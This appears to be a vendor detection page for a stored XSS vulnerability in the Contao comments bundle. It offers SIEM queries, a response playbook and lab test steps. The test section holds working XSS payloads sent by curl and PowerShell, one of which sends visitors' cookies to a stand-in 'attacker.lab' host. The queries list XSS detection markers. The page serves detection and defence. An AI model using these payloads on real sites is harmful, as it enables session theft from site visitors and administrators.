Detect Contao Comments Bundle Stored XSS (CVE-2026-107845) in IBM QRadar
Detects exploitation attempts and vulnerable deployments of CVE-2026-107845, a stored cross-site scripting (XSS) vulnerability in the Contao comments-bundle (CWE-79, CWE-116, CVSS 9.3). Affected versions are contao/comments-bundle >= 4.0.0, < 5.3.50 and >= 5.4.0-RC1, < 5.7.12. The comments bundle fails to properly neutralize/encode user-supplied markup in submitted comments, allowing an attacker to persist JavaScript that executes in the browsers of other visitors or back-end administrators reviewing comments. This detection surfaces anomalous comment-submission POST requests carrying script-like payloads, reflected/stored script markers in subsequent page responses, and known-vulnerable Contao versions. Exploit status is theoretical; prioritize patching to 5.3.50 or 5.7.12.
MITRE ATT&CK
- Tactic
- Initial Access Execution
QRadar Detection Query
-- df00tech DF00-a499ff23f8 · https://df00tech.com/detections/CVE-2026-107845 · licence: https://df00tech.com/detections/licence
SELECT QIDNAME(qid) AS event, sourceip, destinationip, "URL", "Request Method", "User Agent", starttime
FROM events
WHERE LOGSOURCETYPENAME(devicetype) IN ('Apache HTTP Server','Microsoft IIS','NGINX')
AND "Request Method" = 'POST'
AND ("URL" ILIKE '%comment%' OR "URL" ILIKE '%/comments%' OR "URL" ILIKE '%system/modules/comments%')
AND ("URL" ILIKE '%<script%' OR "URL" ILIKE '%%3Cscript%' OR "URL" ILIKE '%javascript:%' OR "URL" ILIKE '%onerror=%' OR "URL" ILIKE '%onload=%' OR "URL" ILIKE '%<svg%' OR "URL" ILIKE '%document.cookie%')
ORDER BY starttime DESC
LAST 24 HOURS AQL query returning Contao comment POST requests with XSS payload indicators in the URL over the last day.
Data Sources
Required Tables
False Positives & Tuning
- Scanner-generated XSS test traffic.
- Legitimate HTML-in-comment discussions.
- Custom QRadar URL property parsing truncating payloads, causing partial matches.
Other platforms for CVE-2026-107845
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Submit stored XSS payload to Contao comment form
Expected signal: Web server POST log entry to the comment endpoint and a new row in tl_comments containing the raw script markup.
- Test 2 Inject event-handler XSS via image tag
Expected signal: POST to comment endpoint and tl_comments row containing an img tag with an onerror handler.
- Test 3 Encoded XSS payload submission
Expected signal: POST request with URL-encoded script payload recorded in web logs and tl_comments.
References (5)
- https://github.com/contao/contao/security/advisories/GHSA-628f-v4f6-p37r
- https://github.com/contao/contao/commit/22505d5f79bc1a7f52e2cba5fddf6007e1f0408a
- https://github.com/contao/contao/releases/tag/5.3.50
- https://github.com/contao/contao/releases/tag/5.7.12
- https://github.com/advisories/GHSA-628f-v4f6-p37r
Response Playbook
Triage
- Confirm the targeted host runs Contao with the comments-bundle and identify its version via `composer show contao/comments-bundle` or the composer.lock file; flag if it is < 5.3.50 (4.x/5.x line) or >= 5.4.0-RC1 and < 5.7.12.
- Extract the full submitted comment payload from the web/application logs or the Contao `tl_comments` database table and decode it to determine whether it contains executable script markup.
- Determine whether the stored comment has been rendered to other users or back-end admins (check published/approved status in `tl_comments.published`) to assess whether the XSS has actually fired.
- Correlate the source IP and user-agent against known scanner fingerprints and prior reconnaissance against the site.
Containment
- Unpublish or delete the malicious comment(s) from the Contao back end or directly from the `tl_comments` table, and purge any page/cache fragments containing the stored payload.
- Deploy a WAF rule to block POST requests to comment endpoints containing script markup (<script, onerror=, javascript:) until the bundle is patched.
- Upgrade contao/comments-bundle to 5.3.50 or 5.7.12 (matching your major line) via `composer update contao/comments-bundle` and rebuild the Contao caches.
Evidence Collection
- Preserve raw web server access/POST-body logs, the `tl_comments` rows (including author IP, timestamp, and raw text), and the Contao application log for the affected time window.
- Capture the stored payload verbatim and hash it; snapshot the rendered page HTML showing the injected script for the incident record.
Escalation Criteria
- !Escalate to IR if evidence shows the payload fired in a back-end administrator session (session/cookie theft or admin account actions), indicating potential CMS compromise.
- !Escalate if the injected script references external C2/credential-harvesting infrastructure or if multiple distinct payloads indicate active, targeted exploitation rather than scanning.
Investigation Guide
Forensic Artifacts
- >
The `tl_comments` database table rows containing the raw, unsanitized comment text and submitter metadata. - >
Web server access logs and POST body captures showing the submission request. - >
Contao system log and cached rendered page fragments embedding the injected markup.
Tuning Guidance
Baseline normal comment-submission volume and body content for the site; many false positives come from code/HTML discussion and from security scanners. Narrow the marker set to high-signal patterns (document.cookie, onerror=, <svg/onload) if legitimate comments frequently include literal HTML examples, and allowlist known scanner source IPs. Where POST bodies are available, prefer matching on the actual comment field over the URL query, since Contao submits comments in the request body.
Hunting Queries
Aggregate comment-submission XSS attempts by source IP to distinguish spray scanning from targeted abuse.
// df00tech DF00-a499ff23f8 · https://df00tech.com/detections/CVE-2026-107845 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csMethod == "POST" and csUriStem has "comment" | extend d=url_decode(coalesce(csUriQuery,"")) | where d has_any ("<script","onerror=","document.cookie") | summarize count() by cIP, bin(TimeGenerated, 1h) ``` df00tech DF00-a499ff23f8 · https://df00tech.com/detections/CVE-2026-107845 · licence: https://df00tech.com/detections/licence ```
index=web method=POST uri_path="*comment*" | eval d=urldecode(uri_query) | search d="*<script*" OR d="*onerror=*" OR d="*document.cookie*" | stats count by src_ip Atomic Red Team Tests
Simulates an attacker posting a comment containing a script payload to a lab Contao instance with the vulnerable comments-bundle.
Command
curl -s -X POST 'http://contao-lab.local/_contao/comment' --data-urlencode 'comment=<script>document.location="http://attacker.lab/c?"+document.cookie</script>' --data-urlencode 'name=tester' --data-urlencode '[email protected]' Cleanup
mysql contao -e "DELETE FROM tl_comments WHERE email='[email protected]';" Expected Telemetry
Web server POST log entry to the comment endpoint and a new row in tl_comments containing the raw script markup.
Expected Detection
KQL/SPL rules flag the POST request to the comment endpoint carrying <script and document.cookie markers.
Submits a comment using an <img onerror=> handler to bypass naive <script> filters.
Command
curl -s -X POST 'http://contao-lab.local/_contao/comment' --data-urlencode 'comment=<img src=x onerror=alert(document.domain)>' --data-urlencode 'name=qa' --data-urlencode '[email protected]' Cleanup
mysql contao -e "DELETE FROM tl_comments WHERE email='[email protected]';" Expected Telemetry
POST to comment endpoint and tl_comments row containing an img tag with an onerror handler.
Expected Detection
Detection rules match the onerror= / <img marker in the request.
Submits a URL-encoded script payload to test decoding and detection of obfuscated input.
Command
powershell -Command "Invoke-WebRequest -Uri 'http://contao-lab.local/_contao/comment' -Method POST -Body @{comment='%3Cscript%3Ealert(1)%3C/script%3E';name='enc';email='[email protected]'}" Cleanup
mysql contao -e "DELETE FROM tl_comments WHERE email='[email protected]';" Expected Telemetry
POST request with URL-encoded script payload recorded in web logs and tl_comments.
Expected Detection
Rules decode the payload (url_decode/urldecode) or match the %3Cscript encoded marker and alert.